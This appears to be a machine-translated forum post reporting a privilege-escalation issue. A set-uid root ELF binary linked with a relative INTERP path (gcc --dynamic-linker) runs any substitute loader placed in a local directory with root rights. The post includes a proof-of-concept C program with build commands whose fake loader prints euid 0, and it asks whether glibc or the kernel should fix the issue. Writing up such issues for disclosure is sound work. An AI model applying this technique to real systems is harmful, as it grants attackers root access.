Комбинация set-uid и относительного пути в секции INTERP двоичного файла ELF очень опасна.
Я не совсем уверен, как и где следует сообщать об этой проблеме, но мне кажется, что это общая проблема безопасности, связанная с тем, как работает динамическое связывание в linux / glibc, поэтому позвольте мне объяснить, что это такое:
Подумайте создание динамически связанного двоичного файла и указание относительного пути в разделе ELF INTERP (с использованием параметра --dynamic-linker gcc), чтобы вы могли распространять пользовательскую версию glibc с вашим динамически подключаемым коммерческим приложением (где вам не разрешено статически ссылаться на LGPL glibc, но вам все равно нужно, чтобы ваш двоичный файл работал в разных дистрибутивах Linux, имеющих разные версии glibc).
Если вы установили двоичный файл в root и установили флаг set-uid на свой двоичный файл, он фактически становится руткитом. Поскольку его выполнение из другого каталога, вы можете заменить исполняемый файл динамического компоновщика, который будет выполняться с правами root.
Чтобы продемонстрировать это, взгляните на следующий код C (issue.c):
#include <stdio.h>
//
// build with:
// gcc -DNAME=\"vulnarable\" -o issue -Wl,--dynamic-linker,.lib64/ld-linux-x86-64.so.2 issue.c
// sudo chown root issue
// sudo chmod u+s issue
// now build some code to be executed with root permissions (we use the same issue.c):
// mkdir -p .lib64/
// gcc -DNAME=\"rootkit\" -o .lib64/ld-linux-x86-64.so.2 --static issue.c
//
int main(int argc, char* argv[])
{
printf("(%s) euid:%d\n", NAME, geteuid());
}
Если вы сейчас выполните двоичный файл set-uid, как этот
./issue
или даже просто выполните это
ldd issue
вместо того, чтобы получить то, что вы могли бы ожидать, например:
(vulnarable) euid:0
вы получите:
(rootkit) euid:0
Теперь дело в том, что вы можете заменить двоичный файл ld-linux-x86-64.so.6 на все, что захотите.
Похоже, что подобные проблемы были решены путем отказа от разрешения $ ORIGIN в RPATH или игнорирования LD_LIBRARY_PATH, если установлен флаг set-uid.
Так что мне интересно, нужно ли игнорировать INTERP в ELF всякий раз, когда установлен флаг set-uid (т.е. при использовании динамического компоновщика по умолчанию - /lib32/ld-linux.so.2 или / lib64 / ld-linux -x86-64.so.2)?
Итак, что вы думаете, где это должно быть исправлено или сообщено - в glibc или ядре?